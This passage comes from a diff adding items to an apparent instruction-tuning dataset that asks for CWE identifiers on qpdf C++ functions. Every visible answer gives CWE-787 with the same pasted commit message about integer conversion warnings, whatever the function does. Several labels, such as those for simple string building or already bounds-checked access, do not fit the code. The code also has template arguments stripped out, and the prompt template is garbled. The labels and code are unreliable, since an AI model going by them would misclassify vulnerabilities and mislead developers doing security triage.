parts of the code that take int when they should take\nsize_t or an offset. Such places would make qpdf not support files\nwith more than 2^31 of something that usually wouldn't be so large. In\nthe event that such a file shows up and is valid, at least qpdf would\nraise an error in the right spot so the issue could be legitimately\naddressed rather than failing in some weird way because of a silent\noverflow condition.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: std::string generate_page_contents(int pageno)\n{\n    std::string contents =\n        \"BT /F1 24 Tf 72 720 Td (page \" +  QUtil::int_to_string(pageno) +\n        \") Tj ET\\n\"\n        \"q 468 0 0 468 72 72 cm /Im1 Do Q\\n\";\n    return contents;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major)\n\nThis makes all integer type conversions that have potential data loss\nexplicit with calls that do range checks and raise an exception. After\nthis commit, qpdf builds with no warnings when -Wsign-conversion\n-Wconversion is used with gcc or clang or when -W3 -Wd4800 is used\nwith MSVC. This significantly reduces the likelihood of potential\ncrashes from bogus integer values.\n\nThere are some parts of the code that take int when they should take\nsize_t or an offset. Such places would make qpdf not support files\nwith more than 2^31 of something that usually wouldn't be so large. In\nthe event that such a file shows up and is valid, at least qpdf would\nraise an error in the right spot so the issue could be legitimately\naddressed rather than failing in some weird way because of a silent\noverflow condition.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: QPDF_Array::getItem(int n) const\n{\n    if ((n < 0) || (n >= static_cast(this->items.size())))\n    {\n\tthrow std::logic_error(\n\t    \"INTERNAL ERROR: bounds error accessing QPDF_Array element\");\n    }\n    return this->items.at(n);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major)\n\nThis makes all integer type conversions that have potential data loss\nexplicit with calls that do range checks and raise an exception. After\nthis commit, qpdf builds with no warnings when -Wsign-conversion\n-Wconversion is used with gcc or clang or when -W3 -Wd4800 is used\nwith MSVC. This significantly reduces the likelihood of potential\ncrashes from bogus integer values.\n\nThere are some parts of the code that take int when they should take\nsize_t or an offset. Such places would make qpdf not support files\nwith more than 2^31 of something that usually wouldn't be so large. In\nthe event that such a file shows up and is valid, at least qpdf would\nraise an error in the right spot so the issue could be legitimately\naddressed rather than failing in some weird way because of a silent\noverflow condition.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: QPDFObjectHandle::parseContentStream_data(\n    PointerHolder stream_data,\n    std::string const& description,\n    ParserCallbacks* callbacks)\n{\n    size_t length = stream_data->getSize();\n    PointerHolder input =\n        new BufferInputSource(description, stream_data.getPointer());\n    QPDFTokenizer tokenizer;\n    tokenizer.allowEOF();\n    bool empty = false;\n    while (static_cast(input->tell()) < length)\n    {\n        QPDFObjectHandle obj =\n            parseInternal(input, \"content\", tokenizer, empty, 0, 0, true);\n        if (! obj.isInitialized())\n        {\n            // EOF\n            break;\n        }\n\n        callbacks->handleObject(obj);\n        if (obj.isOperator() && (obj.getOperatorValue() == \"ID\"))\n        {\n            // Discard next character; it is the space after ID that\n            // terminated the token.  Read until end of inline image.\n            char ch;\n            input->read(&ch, 1);\n            tokenizer.expectInlineImage(input);\n            QPDFTokenizer::Token t =\n                tokenizer.readToken(input, description, true);\n            if (t.getType() == QPDFTokenizer::tt_bad)\n            {\n                QTC::TC(\"qpdf\", \"QPDFObjectHandle EOF in inline image\");\n                throw QPDFExc(qpdf_e_damaged_pdf, input->getName(),\n                              \"stream data\", input->tell(),\n                              \"EOF found while reading inline image\");\n            }\n            else\n            {\n                std::string inline_image = t.getValue();\n                QTC::TC(\"qpdf\", \"QPDFObjectHandle inline image token\");\n                callbacks->handleObject(\n                    QPDFObjectHandle::newInlineImage(inline_image));\n            }\n        }\n    }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major)\n\nThis makes all integer type conversions that have potential data loss\nexplicit with calls that do range checks and raise an exception. After\nthis commit, qpdf builds with no warnings when -Wsign-conversion\n-Wconversion is used with gcc or clang or when -W3 -Wd4800 is used\nwith MSVC. This significantly reduces the likelihood of potential\ncrashes from bogus integer values.\n\nThere are some parts of the code that take int when they should take\nsize_t or an offset. Such places would make qpdf not support files\nwith more than 2^31 of something that usually wouldn't be so large. In\nthe event that such a file shows up and is valid, at least qpdf would\nraise an error in the right spot so the issue could be legitimately\naddressed rather than failing in some weird way because of a silent\noverflow condition.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: QPDF::resolveObjectsInStream(int obj_stream_number)\n{\n    // Force resolution of object stream\n    QPDFObjectHandle obj_stream = getObjectByID(obj_stream_number, 0);\n    if (! obj_stream.isStream())\n    {\n\tthrow QPDFExc(qpdf_e_damaged_pdf, this->m->file->getName(),\n\t\t      this->m->last_object_description,\n\t\t      this->m->file->getLastOffset(),\n\t\t      \"supposed object stream \" +\n\t\t      QUtil::int_to_string(obj_stream_number) +\n\t\t      \" is not a stream\");\n    }\n\n    // For linearization data in the object, use the data from the\n    // object stream for the objects in the stream.\n    QPDFObjGen stream_og(obj_stream_number, 0);\n    qpdf_offset_t end_before_space =\n        this->m->obj_cache[stream_og].end_before_space;\n    qpdf_offset_t end_after_space =\n        this->m->obj_cache[stream_og].end_after_space;\n\n    QPDFObjectHandle dict = obj_stream.getDict();\n    if (! (dict.getKey(\"/Type\").isName() &&\n\t   dict.getKey(\"/Type\").getName() == \"/ObjStm\"))\n    {\n\tQTC::TC(\"qpdf\", \"QPDF ERR object stream with wrong type\");\n\tthrow QPDFExc(qpdf_e_damaged_pdf, this->m->file->getName(),\n\t\t      this->m->last_object_description,\n\t\t      this->m->file->getLastOffset(),\n\t\t      \"supposed object stream \" +\n\t\t      QUtil::int_to_string(obj_stream_number) +\n\t\t      \" has wrong type\");\n    }\n\n    if (! (dict.getKey(\"/N\").isInteger() &&\n\t   dict.getKey(\"/First\").isInteger()))\n    {\n\tthrow QPDFExc(qpdf_e_damaged_pdf, this->m->file->getName(),\n\t\t      this->m->last_object_description,\n\t\t      this->m->file->getLastOffset(),\n\t\t      \"object stream \" +\n\t\t      QUtil::int_to_string(obj_stream_number) +\n\t\t      \" has incorrect keys\");\n    }\n\n    int n = dict.getKey(\"/N\").getIntValue();\n    int first = dict.getKey(\"/First\").getIntValue();\n\n    std::map offsets;\n\n    PointerHolder bp = obj_stream.getStreamData(qpdf_dl_specialized);\n    PointerHolder input = new BufferInputSource(\n        this->m->file->getName() +\n        \" object stream \" + QUtil::int_to_string(obj_stream_number),\n\tbp.getPointer());\n\n    for (int i = 0; i < n; ++i)\n    {\n\tQPDFTokenizer::Token tnum = readToken(input);\n\tQPDFTokenizer::Token toffset = readToken(input);\n\tif (! ((tnum.getType() == QPDFTokenizer::tt_integer) &&\n\t       (toffset.getType() == QPDFTokenizer::tt_integer)))\n\t{\n\t    throw QPDFExc(qpdf_e_damaged_pdf, input->getName(),\n\t\t\t  this->m->last_object_description,\n                          input->getLastOffset(),\n\t\t\t  \"expected integer in object stream header\");\n\t}\n\n\tint num = QUtil::string_to_int(tnum.getValue().c_str());\n\tint offset = QUtil::string_to_ll(toffset.getValue().c_str());\n\toffsets[num] = offset + first;\n    }\n\n    // To avoid having to read the object stream multiple times, store\n    // all objects that would be found here in the cache.  Remember\n    // that some objects stored here might have been overridden by new\n    // objects appended to the file, so it is necessary to recheck the\n    // xref table and only cache what would actually be resolved here.\n    for (std::map::iterator iter = offsets.begin();\n\t iter != offsets.end(); ++iter)\n    {\n\tint obj = (*iter).first;\n\tQPDFObjGen og(obj, 0);\n        QPDFXRefEntry const& entry = this->m->xref_table[og];\n        if ((entry.getType() == 2) &&\n            (entry.getObjStreamNumber() == obj_stream_number))\n        {\n            int offset = (*iter).second;\n            input->seek(offset, SEEK_SET);\n            QPDFObjectHandle oh = readObject(input, \"\", obj, 0, true);\n            this->m->obj_cache[og] =\n                ObjCache(QPDFObjectHandle::ObjAccessor::getObject(oh),\n                         end_before_space, end_after_space);\n        }\n        else\n        {\n            QTC::TC(\"qpdf\", \"QPDF not caching overridden objstm object\");\n        }\n    }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major)\n\nThis makes all integer type conversions that have potential data loss\nexplicit with calls that do range checks and raise an exception. After\nthis commit, qpdf builds with no warnings when -Wsign-conversion\n-Wconversion is used with gcc or clang or when -W3 -Wd4800 is used\nwith MSVC. This significantly reduces the likelihood of potential\ncrashes from bogus integer values.\n\nThere are some parts of the code that take int when they should take\nsize_t or an offset. Such places would make qpdf not support files\nwith more than 2^31 of something that usually wouldn't be so large. In\nthe event that such a file shows up and is valid, at least qpdf would\nraise an error in the right spot so the issue could be legitimately\naddressed rather than failing in some weird way because of a silent\noverflow condition.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void validate_under_overlay(QPDF& pdf, UnderOverlay* uo, Options& o)\n{\n    if (0 == uo->filename)\n    {\n        return;\n    }\n    QPDFPageDocumentHelper main_pdh(pdf);\n    int main_npages = static_cast(main_pdh.getAllPages().size());\n    uo->pdf = process_file(uo->filename, uo->password, o);\n    QPDFPageDocumentHelper uo_pdh(*(uo->pdf));\n    int uo_npages = static_cast(uo_pdh.getAllPages().size());\n    try\n    {\n        uo->to_pagenos = QUtil::parse_numrange(uo->to_nr, main_npages);\n    }\n    catch (std::runtime_error& e)\n    {\n        usageExit(\"parsing numeric range for \" + uo->which +\n                  \" \\\"to\\\" pages: \" + e.what());\n    }\n    try\n    {\n        if (0 == strlen(uo->from_nr))\n        {\n            QTC::TC(\"qpdf\", \"qpdf from_nr from repeat_nr\");\n            uo->from_nr = uo->repeat_nr;\n        }\n        uo->from_pagenos = QUtil::parse_numrange(uo->from_nr, uo_npages);\n        if (strlen(uo->repeat_nr))\n        {\n            uo->repeat_pagenos =\n                QUtil::parse_numrange(uo->repeat_nr, uo_npages);\n        }\n    }\n    catch (std::runtime_error& e)\n    {\n        usageExit(\"parsing numeric range for \" + uo->which + \" file \" +\n                  uo->filename + \": \" + e.what());\n    }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major)\n\nThis makes all integer type conversions that have potential data loss\nexplicit with calls that do range checks and raise an exception. After\nthis commit, qpdf builds with no warnings when -Wsign-conversion\n-Wconversion is used with gcc or clang or when -W3 -Wd4800 is used\nwith MSVC. This significantly reduces the likelihood of potential\ncrashes from bogus integer values.\n\nThere are some parts of the code that take int when they should take\nsize_t or an offset. Such places would make qpdf not support files\nwith more than 2^31 of something that usually wouldn't be so large. In\nthe event that such a file shows up and is valid, at least qpdf would\nraise an error in the right spot so the issue could be legitimately\naddressed rather than failing in some weird way because of a silent\noverflow condition.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void process(char const* whoami,\n                    char const* infile,\n                    std::string outprefix)\n{\n    QPDF inpdf;\n    inpdf.processFile(infile);\n    std::vector pages =\n        QPDFPageDocumentHelper(inpdf).getAllPages();\n    int pageno_len = QUtil::int_to_string(pages.size()).length();\n    int pageno = 0;\n    for (std::vector::iterator iter = pages.begin();\n         iter != pages.end(); ++iter)\n    {\n        QPDFPageObjectHelper& page(*iter);\n        std::string outfile =\n            outprefix + QUtil::int_to_string(++pageno, pageno_len) + \".pdf\";\n        QPDF outpdf;\n        outpdf.emptyPDF();\n        QPDFPageDocumentHelper(outpdf).addPage(page, false);\n        QPDFWriter outpdfw(outpdf, outfile.c_str());\n\tif (static_id)\n\t{\n\t    // For the test suite, uncompress streams and use static\n\t    // IDs.\n\t    outpdfw.setStaticID(true); // for testing only\n\t    outpdfw.setStreamDataMode(qpdf_s_uncompress);\n\t}\n        outpdfw.write();\n    }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major)\n\nThis makes all integer type conversions that have potential data loss\nexplicit with calls that do range checks and raise an exception. After\nthis commit, qpdf builds with no warnings when -Wsign-conversion\n-Wconversion is used with gcc or clang or when -W3 -Wd4800 is used\nwith MSVC. This significantly reduces the likelihood of potential\ncrashes from bogus integer values.\n\nThere are some parts of the code that take int when they should take\nsize_t or an offset. Such places would make qpdf not support files\nwith more than 2^31 of something that usually wouldn't be so large. In\nthe event that such a file shows up and is valid, at least qpdf would\nraise an error in the right spot so the issue could be legitimately\naddressed rather than failing in some weird way because of a silent\noverflow condition.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: Pl_PNGFilter::decodeSub()\n{\n    QTC::TC(\"libtests\", \"Pl_PNGFilter decodeSub\");\n    unsigned char* buffer = this->cur_row + 1;\n    unsigned int bpp = this->bytes_per_pixel;\n\n    for (unsigned int i = 0; i < this->bytes_per_row; ++i)\n    {\n        unsigned char left = 0;\n\n        if (i >= bpp)\n        {\n            left = buffer[i - bpp];\n        }\n\n        buffer[i] += left;\n    }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major)\n\nThis makes all integer type conversions that have potential data loss\nexplicit with calls that do range checks and raise an exception. After\nthis commit, qpdf builds with no warnings when -Wsign-conversion\n-Wconversion is used with gcc or clang or when -W3 -Wd4800 is used\nwith MSVC. This significantly reduces the likelihood of potential\ncrashes from bogus integer values.\n\nThere are some parts of the code that take int when they should take\nsize_t or an offset. Such places would make qpdf not support files\nwith more than 2^31 of something that usually wouldn't be so large. In\nthe event that such a file shows up and is valid, at least qpdf would\nraise an error in the right spot so the issue could be legitimately\naddressed rather than failing in some weird way because of a silent\noverflow condition.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: QPDF::calculateLinearizationData(std::map const& object_stream_data)\n{\n    // This function calculates the ordering of objects, divides them\n    // into the appropriate parts, and computes some values for the\n    // linearization parameter dictionary and hint tables.  The file\n    // must be optimized (via calling optimize()) prior to calling\n    // this function.  Note that actual offsets and lengths are not\n    // computed here, but anything related to object ordering is.\n\n    if (this->m->object_to_obj_users.empty())\n    {\n\t// Note that we can't call optimize here because we don't know\n\t// whether it should be called with or without allow changes.\n\tthrow std::logic_error(\n\t    \"INTERNAL ERROR: QPDF::calculateLinearizationData \"\n\t    \"called before optimize()\");\n    }\n\n    // Separate objects into the categories sufficient for us to\n    // determine which part of the linearized file should contain the\n    // object.  This categorization is useful for other purposes as\n    // well.  Part numbers refer to version 1.4 of the PDF spec.\n\n    // Parts 1, 3, 5, 10, and 11 don't contain any objects from the\n    // original file (except the trailer dictionary in part 11).\n\n    // Part 4 is the document catalog (root) and the following root\n    // keys: /ViewerPreferences, /PageMode, /Threads, /OpenAction,\n    // /AcroForm, /Encrypt.  Note that Thread information dictionaries\n    // are supposed to appear in part 9, but we are disregarding that\n    // recommendation for now.\n\n    // Part 6 is the first page section.  It includes all remaining\n    // objects referenced by the first page including shared objects\n    // but not including thumbnails.  Additionally, if /PageMode is\n    // /Outlines, then information from /Outlines also appears here.\n\n    // Part 7 contains remaining objects private to pages other than\n    // the first page.\n\n    // Part 8 contains all remaining shared objects except those that\n    // are shared only within thumbnails.\n\n    // Part 9 contains all remaining objects.\n\n    // We sort objects into the following categories:\n\n    //   * open_document: part 4\n\n    //   * first_page_private: part 6\n\n    //   * first_page_shared: part 6\n\n    //   * other_page_private: part 7\n\n    //   * other_page_shared: part 8\n\n    //   * thumbnail_private: part 9\n\n    //   * thumbnail_shared: part 9\n\n    //   * other: part 9\n\n    //   * outlines: part 6 or 9\n\n    this->m->part4.clear();\n    this->m->part6.clear();\n    this->m->part7.clear();\n    this->m->part8.clear();\n    this->m->part9.clear();\n    this->m->c_linp = LinParameters();\n    this->m->c_page_offset_data = CHPageOffset();\n    this->m->c_shared_object_data = CHSharedObject();\n    this->m->c_outline_data = HGeneric();\n\n    QPDFObjectHandle root = getRoot();\n    bool outlines_in_first_page = false;\n    QPDFObjectHandle pagemode = root.getKey(\"/PageMode\");\n    QTC::TC(\"qpdf\", \"QPDF categorize pagemode present\",\n\t    pagemode.isName() ? 1 : 0);\n    if (pagemode.isName())\n    {\n\tif (pagemode.getName() == \"/UseOutlines\")\n\t{\n\t    if (root.hasKey(\"/Outlines\"))\n\t    {\n\t\toutlines_in_first_page = true;\n\t    }\n\t    else\n\t    {\n\t\tQTC::TC(\"qpdf\", \"QPDF UseOutlines but no Outlines\");\n\t    }\n\t}\n\tQTC::TC(\"qpdf\", \"QPDF categorize pagemode outlines\",\n\t\toutlines_in_first_page ? 1 : 0);\n    }\n\n    std::set open_document_keys;\n    open_document_keys.insert(\"/ViewerPreferences\");\n    open_document_keys.insert(\"/PageMode\");\n    open_document_keys.insert(\"/Threads\");\n    open_document_keys.insert(\"/OpenAction\");\n    open_document_keys.insert(\"/AcroForm\");\n\n    std::set lc_open_document;\n    std::set lc_first_page_private;\n    std::set lc_first_page_shared;\n    std::set lc_other_page_private;\n    std::set lc_other_page_shared;\n    std::set lc_thumbnail_private;\n    std::set lc_thumbnail_shared;\n    std::set lc_other;\n    std::set lc_outlines;\n    std::set lc_root;\n\n    for (std::map >::iterator oiter =\n\t     this->m->object_to_obj_users.begin();\n\t oiter != this->m->object_to_obj_users.end(); ++oiter)\n    {\n\tQPDFObjGen const& og = (*oiter).first;\n\n\tstd::set& ous = (*oiter).second;\n\n\tbool in_open_document = false;\n\tbool in_first_page = false;\n\tint other_pages = 0;\n\tint thumbs = 0;\n\tint others = 0;\n\tbool in_outlines = false;\n\tbool is_root = false;\n\n\tfor (std::set::iterator uiter = ous.begin();\n\t     uiter != ous.end(); ++uiter)\n\t{\n\t    ObjUser const& ou = *uiter;\n\t    switch (ou.ou_type)\n\t    {\n\t      case ObjUser::ou_trailer_key:\n\t\tif (ou.key == \"/Encrypt\")\n\t\t{\n\t\t    in_open_document = true;\n\t\t}\n\t\telse\n\t\t{\n\t\t    ++others;\n\t\t}\n\t\tbreak;\n\n\t      case ObjUser::ou_thumb:\n\t\t++thumbs;\n\t\tbreak;\n\n\t      case ObjUser::ou_root_key:\n\t\tif (open_document_keys.count(ou.key) > 0)\n\t\t{\n\t\t    in_open_document = true;\n\t\t}\n\t\telse if (ou.key == \"/Outlines\")\n\t\t{\n\t\t    in_outlines = true;\n\t\t}\n\t\telse\n\t\t{\n\t\t    ++others;\n\t\t}\n\t\tbreak;\n\n\t      case ObjUser::ou_page:\n\t\tif (ou.pageno == 0)\n\t\t{\n\t\t    in_first_page = true;\n\t\t}\n\t\telse\n\t\t{\n\t\t    ++other_pages;\n\t\t}\n\t\tbreak;\n\n\t      case ObjUser::ou_root:\n\t\tis_root = true;\n\t\tbreak;\n\n\t      case ObjUser::ou_bad:\n\t\tthrow std::logic_error(\n\t\t    \"INTERNAL ERROR: QPDF::calculateLinearizationData: \"\n\t\t    \"invalid user type\");\n\t\tbreak;\n\t    }\n\t}\n\n\tif (is_root)\n\t{\n\t    lc_root.insert(og);\n\t}\n\telse if (in_outlines)\n\t{\n\t    lc_outlines.insert(og);\n\t}\n\telse if (in_open_document)\n\t{\n\t    lc_open_document.insert(og);\n\t}\n\telse if ((in_first_page) &&\n\t\t (others == 0) && (other_pages == 0) && (thumbs == 0))\n\t{\n\t    lc_first_page_private.insert(og);\n\t}\n\telse if (in_first_page)\n\t{\n\t    lc_first_page_shared.insert(og);\n\t}\n\telse if ((other_pages == 1) && (others == 0) && (thumbs == 0))\n\t{\n\t    lc_other_page_private.insert(og);\n\t}\n\telse if (other_pages > 1)\n\t{\n\t    lc_other_page_shared.insert(og);\n\t}\n\telse if ((thumbs == 1) && (others == 0))\n\t{\n\t    lc_thumbnail_private.insert(og);\n\t}\n\telse if (thumbs > 1)\n\t{\n\t    lc_thumbnail_shared.insert(og);\n\t}\n\telse\n\t{\n\t    lc_other.insert(og);\n\t}\n    }\n\n    // Generate ordering for objects in the output file.  Sometimes we\n    // just dump right from a set into a vector.  Rather than\n    // optimizing this by going straight into the vector, we'll leave\n    // these phases separate for now.  That way, this section can be\n    // concerned only with ordering, and the above section can be\n    // considered only with categorization.  Note that sets of\n    // QPDFObjGens are sorted by QPDFObjGen.  In a linearized file,\n    // objects appear in sequence with the possible exception of hints\n    // tables which we won't see here anyway.  That means that running\n    // calculateLinearizationData() on a linearized file should give\n    // results identical to the original file ordering.\n\n    // We seem to traverse the page tree a lot in this code, but we\n    // can address this for a future code optimization if necessary.\n    // Premature optimization is the root of all evil.\n    std::vector pages;\n    { // local scope\n\t// Map all page objects to the containing object stream.  This\n\t// should be a no-op in a properly linearized file.\n\tstd::vector t = getAllPages();\n\tfor (std::vector::iterator iter = t.begin();\n\t     iter != t.end(); ++iter)\n\t{\n\t    pages.push_back(getUncompressedObject(*iter, object_stream_data));\n\t}\n    }\n    unsigned int npages = pages.size();\n\n    // We will be initializing some values of the computed hint\n    // tables.  Specifically, we can initialize any items that deal\n    // with object numbers or counts but not any items that deal with\n    // lengths or offsets.  The code that writes linearized files will\n    // have to fill in these values during the first pass.  The\n    // validation code can compute them relatively easily given the\n    // rest of the information.\n\n    // npages is the size of the existing pages vector, which has been\n    // created by traversing the pages tree, and as such is a\n    // reasonable size.\n    this->m->c_linp.npages = npages;\n    this->m->c_page_offset_data.entries =\n        std::vector(npages);\n\n    // Part 4: open document objects.  We don't care about the order.\n\n    if (lc_root.size() != 1)\n    {\n        stopOnError(\"found other than one root while\"\n                    \" calculating linearization data\");\n    }\n    this->m->part4.push_back(objGenToIndirect(*(lc_root.begin())));\n    for (std::set::iterator iter = lc_open_document.begin();\n\t iter != lc_open_document.end(); ++iter)\n    {\n\tthis->m->part4.push_back(objGenToIndirect(*iter));\n    }\n\n    // Part 6: first page objects.  Note: implementation note 124\n    // states that Acrobat always treats page 0 as the first page for\n    // linearization regardless of /OpenAction.  pdlin doesn't provide\n    // any option to set this and also disregards /OpenAction.  We\n    // will do the same.\n\n    // First, place the actual first page object itself.\n    QPDFObjGen first_page_og(pages.at(0).getObjGen());\n    if (! lc_first_page_private.count(first_page_og))\n    {\n\tthrow std::logic_error(\n\t    \"INTERNAL ERROR: QPDF::calculateLinearizationData: first page \"\n\t    \"object not in lc_first_page_private\");\n    }\n    lc_first_page_private.erase(first_page_og);\n    this->m->c_linp.first_page_object = pages.at(0).getObjectID();\n    this->m->part6.push_back(pages.at(0));\n\n    // The PDF spec \"recommends\" an order for the rest of the objects,\n    // but we are going to disregard it except to the extent that it\n    // groups private and shared objects contiguously for the sake of\n    // hint tables.\n\n    for (std::set::iterator iter = lc_first_page_private.begin();\n\t iter != lc_first_page_private.end(); ++iter)\n    {\n\tthis->m->part6.push_back(objGenToIndirect(*iter));\n    }\n\n    for (std::set::iterator iter = lc_first_page_shared.begin();\n\t iter != lc_first_page_shared.end(); ++iter)\n    {\n\tthis->m->part6.push_back(objGenToIndirect(*iter));\n    }\n\n    // Place the outline dictionary if it goes in the first page section.\n    if (outlines_in_first_page)\n    {\n\tpushOutlinesToPart(this->m->part6, lc_outlines, object_stream_data);\n    }\n\n    // Fill in page offset hint table information for the first page.\n    // The PDF spec says that nshared_objects should be zero for the\n    // first page.  pdlin does not appear to obey this, but it fills\n    // in garbage values for all the shared object identifiers on the\n    // first page.\n\n    this->m->c_page_offset_data.entries.at(0).nobjects = this->m->part6.size();\n\n    // Part 7: other pages' private objects\n\n    // For each page in order:\n    for (unsigned int i = 1; i < npages; ++i)\n    {\n\t// Place this page's page object\n\n\tQPDFObjGen page_og(pages.at(i).getObjGen());\n\tif (! lc_other_page_private.count(page_og))\n\t{\n\t    throw std::logic_error(\n\t\t\"INTERNAL ERROR: \"\n\t\t\"QPDF::calculateLinearizationData: page object for page \" +\n\t\tQUtil::int_to_string(i) + \" not in lc_other_page_private\");\n\t}\n\tlc_other_page_private.erase(page_og);\n\tthis->m->part7.push_back(pages.at(i));\n\n\t// Place all non-shared objects referenced by this page,\n\t// updating the page object count for the hint table.\n\n\tthis->m->c_page_offset_data.entries.at(i).nobjects = 1;\n\n\tObjUser ou(ObjUser::ou_page, i);\n\tif (this->m->obj_user_to_objects.count(ou) == 0)\n        {\n            stopOnError(\"found unreferenced page while\"\n                        \" calculating linearization data\");\n        }\n\tstd::set ogs = this->m->obj_user_to_objects[ou];\n\tfor (std::set::iterator iter = ogs.begin();\n\t     iter != ogs.end(); ++iter)\n\t{\n\t    QPDFObjGen const& og = (*iter);\n\t    if (lc_other_page_private.count(og))\n\t    {\n\t\tlc_other_page_private.erase(og);\n\t\tthis->m->part7.push_back(objGenToIndirect(og));\n\t\t++this->m->c_page_offset_data.entries.at(i).nobjects;\n\t    }\n\t}\n    }\n    // That should have covered all part7 objects.\n    if (! lc_other_page_private.empty())\n    {\n\tthrow std::logic_error(\n\t    \"INTERNAL ERROR:\"\n\t    \" QPDF::calculateLinearizationData: lc_other_page_private is \"\n\t    \"not empty after generation of part7\");\n    }\n\n    // Part 8: other pages' shared objects\n\n    // Order is unimportant.\n    for (std::set::iterator iter = lc_other_page_shared.begin();\n\t iter != lc_other_page_shared.end(); ++iter)\n    {\n\tthis->m->part8.push_back(objGenToIndirect(*iter));\n    }\n\n    // Part 9: other objects\n\n    // The PDF specification makes recommendations on ordering here.\n    // We follow them only to a limited extent.  Specifically, we put\n    // the pages tree first, then private thumbnail objects in page\n    // order, then shared thumbnail objects, and then outlines (unless\n    // in part 6).  After that, we throw all remaining objects in\n    // arbitrary order.\n\n    // Place the pages tree.\n    std::set pages_ogs =\n\tthis->m->obj_user_to_objects[ObjUser(ObjUser::ou_root_key, \"/Pages\")];\n    if (pages_ogs.empty())\n    {\n        stopOnError(\"found empty pages tree while\"\n                    \" calculating linearization data\");\n    }\n    for (std::set::iterator iter = pages_ogs.begin();\n\t iter != pages_ogs.end(); ++iter)\n    {\n\tQPDFObjGen const& og = *iter;\n\tif (lc_other.count(og))\n\t{\n\t    lc_other.erase(og);\n\t    this->m->part9.push_back(objGenToIndirect(og));\n\t}\n    }\n\n    // Place private thumbnail images in page order.  Slightly more\n    // information would be required if we were going to bother with\n    // thumbnail hint tables.\n    for (unsigned int i = 0; i < npages; ++i)\n    {\n\tQPDFObjectHandle thumb = pages.at(i).getKey(\"/Thumb\");\n\tthumb = getUncompressedObject(thumb, object_stream_data);\n\tif (! thumb.isNull())\n\t{\n\t    // Output the thumbnail itself\n\t    QPDFObjGen thumb_og(thumb.getObjGen());\n\t    if (lc_thumbnail_private.count(thumb_og))\n\t    {\n\t\tlc_thumbnail_private.erase(thumb_og);\n\t\tthis->m->part9.push_back(thumb);\n\t    }\n\t    else\n\t    {\n\t\t// No internal error this time...there's nothing to\n\t\t// stop this object from having been referred to\n\t\t// somewhere else outside of a page's /Thumb, and if\n\t\t// it had been, there's nothing to prevent it from\n\t\t// having been in some set other than\n\t\t// lc_thumbnail_private.\n\t    }\n\t    std::set& ogs =\n\t\tthis->m->obj_user_to_objects[ObjUser(ObjUser::ou_thumb, i)];\n\t    for (std::set::iterator iter = ogs.begin();\n\t\t iter != ogs.end(); ++iter)\n\t    {\n\t\tQPDFObjGen const& og = *iter;\n\t\tif (lc_thumbnail_private.count(og))\n\t\t{\n\t\t    lc_thumbnail_private.erase(og);\n\t\t    this->m->part9.push_back(objGenToIndirect(og));\n\t\t}\n\t    }\n\t}\n    }\n    if (! lc_thumbnail_private.empty())\n    {\n\tthrow std::logic_error(\n\t    \"INTERNAL ERROR: \"\n\t    \"QPDF::calculateLinearizationData: lc_thumbnail_private \"\n\t    \"not empty after placing thumbnails\");\n    }\n\n    // Place shared thumbnail objects\n    for (std::set::iterator iter = lc_thumbnail_shared.begin();\n\t iter != lc_thumbnail_shared.end(); ++iter)\n    {\n\tthis->m->part9.push_back(objGenToIndirect(*iter));\n    }\n\n    // Place outlines unless in first page\n    if (! outlines_in_first_page)\n    {\n\tpushOutlinesToPart(this->m->part9, lc_outlines, object_stream_data);\n    }\n\n    // Place all remaining objects\n    for (std::set::iterator iter = lc_other.begin();\n\t iter != lc_other.end(); ++iter)\n    {\n\tthis->m->part9.push_back(objGenToIndirect(*iter));\n    }\n\n    // Make sure we got everything exactly once.\n\n    unsigned int num_placed =\n        this->m->part4.size() + this->m->part6.size() + this->m->part7.size() +\n        this->m->part8.size() + this->m->part9.size();\n    unsigned int num_wanted = this->m->object_to_obj_users.size();\n    if (num_placed != num_wanted)\n    {\n\tthrow std::logic_error(\n\t    \"INTERNAL ERROR: 